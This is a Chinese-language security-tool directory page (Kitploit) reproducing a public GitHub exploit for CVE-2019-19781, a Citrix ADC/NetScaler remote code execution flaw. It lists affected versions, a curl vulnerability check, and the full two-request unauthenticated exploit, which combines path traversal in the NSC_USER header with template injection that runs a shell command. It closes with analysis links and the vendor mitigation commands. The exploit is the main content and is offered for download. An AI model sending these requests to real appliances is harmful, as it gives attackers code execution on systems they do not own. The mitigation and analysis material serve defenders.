Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2019-19781 — CVE-2019-19781 - Remote Code Execution on Citrix ADC Netscaler exploit | Kitploit
工具/GitHubGitHub/mpgn/cve-2019-19781
Vulnerability AnalysisExploitationWeb Application ExploitationInformation GatheringPenetration TestingIncident ResponseRemote Access Tool
GitHubmpgn/cve-2019-19781

CVE-2019-19781

CVE-2019-19781 - Remote Code Execution on Citrix ADC Netscaler exploit

查看仓库
157345年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2019-19781

Citrix Application Delivery Controller 和 Citrix Gateway 中的远程代码执行(RCE)

已在 Citrix Application Delivery Controller(ADC,原名 NetScaler ADC)和 Citrix Gateway(原名 NetScaler Gateway)中识别出一个漏洞,如果成功利用,可能允许未经身份验证的攻击者执行任意代码。

编辑:来自 Fireeye 的 CVE-2019-19781 入侵指标扫描器 -> https://github.com/fireeye/ioc-scanner-CVE-2019-19781/

受影响的版本:

  • Citrix ADC 和 Citrix Gateway 版本 13.0 所有受支持的构建版本
  • Citrix ADC 和 NetScaler Gateway 版本 12.1 所有受支持的构建版本
  • Citrix ADC 和 NetScaler Gateway 版本 12.0 所有受支持的构建版本
  • Citrix ADC 和 NetScaler Gateway 版本 11.1 所有受支持的构建版本
  • Citrix NetScaler ADC 和 NetScaler Gateway 版本 10.5 所有受支持的构建版本

image

检查是否易受攻击

root@kitploit:~
TARGET=your_ip
curl -vk –path-as-is https://$TARGET/vpn/../vpns/ 2>&1 | grep “You don’t have permission to access /vpns/” >/dev/null && echo “VULNERABLE: $TARGET” || echo “MITIGATED: $TARGET”

存在漏洞的Perl脚本

root@kitploit:~
POST /vpn/../vpns/portal/scripts/newbm.pl
POST /vpn/../vpns/portal/scripts/rmbm.pl
GET /vpn/../vpns/portal/scripts/picktheme.pl

利用

只需两次请求即可利用此漏洞,无需任何身份验证!

第一次请求:

root@kitploit:~
POST /vpn/../vpns/portal/scripts/newbm.pl HTTP/1.1
Host: 3.81.59.87
NSC_USER: ../../../../netscaler/portal/templates/randomletter
NSC_NONCE: c
Connection: close
Content-Length: 103

url=http://exemple.com&title=[%t=template.new({'BLOCK'='print `uname -a`'})%][% t %]&desc=test&UI_inuse=RfWeb

第二次请求:

root@kitploit:~
GET /vpns/portal/bonclay4.xml HTTP/1.1
Host: 3.81.59.87
NSC_USER: ../../../../netscaler/portal/templates/randomletter
NSC_NONCE: c
Connection: close

image

详细分析(英文):

  • Craig Young => https://www.tripwire.com/state-of-security/vert/citrix-netscaler-cve-2019-19781-what-you-need-to-know/
  • @MDSecLabs => https://www.mdsec.co.uk/2020/01/deep-dive-in-to-citrix-adc-remote-code-execution-cve-2019-19781/
  • @mpgn_x64 => https://twitter.com/mpgn_x64/status/1214544993261674497

安全公告:

  • https://support.citrix.com/article/CTX267027

补丁(非真实补丁)

  • https://support.citrix.com/article/CTX267679
root@kitploit:~
enable ns feature responder
add responder action respondwith403 respondwith "\"HTTP/1.1 403 Forbidden\r\n\r\n\""
add responder policy ctx267027 "HTTP.REQ.URL.DECODE_USING_TEXT_MODE.CONTAINS(\"/vpns/\") && (!CLIENT.SSLVPN.IS_SSLVPN || HTTP.REQ.URL.DECODE_USING_TEXT_MODE.CONTAINS(\"/../\"))" respondwith403
bind responder global ctx267027 1 END -type REQ_OVERRIDE
save config 
下载工具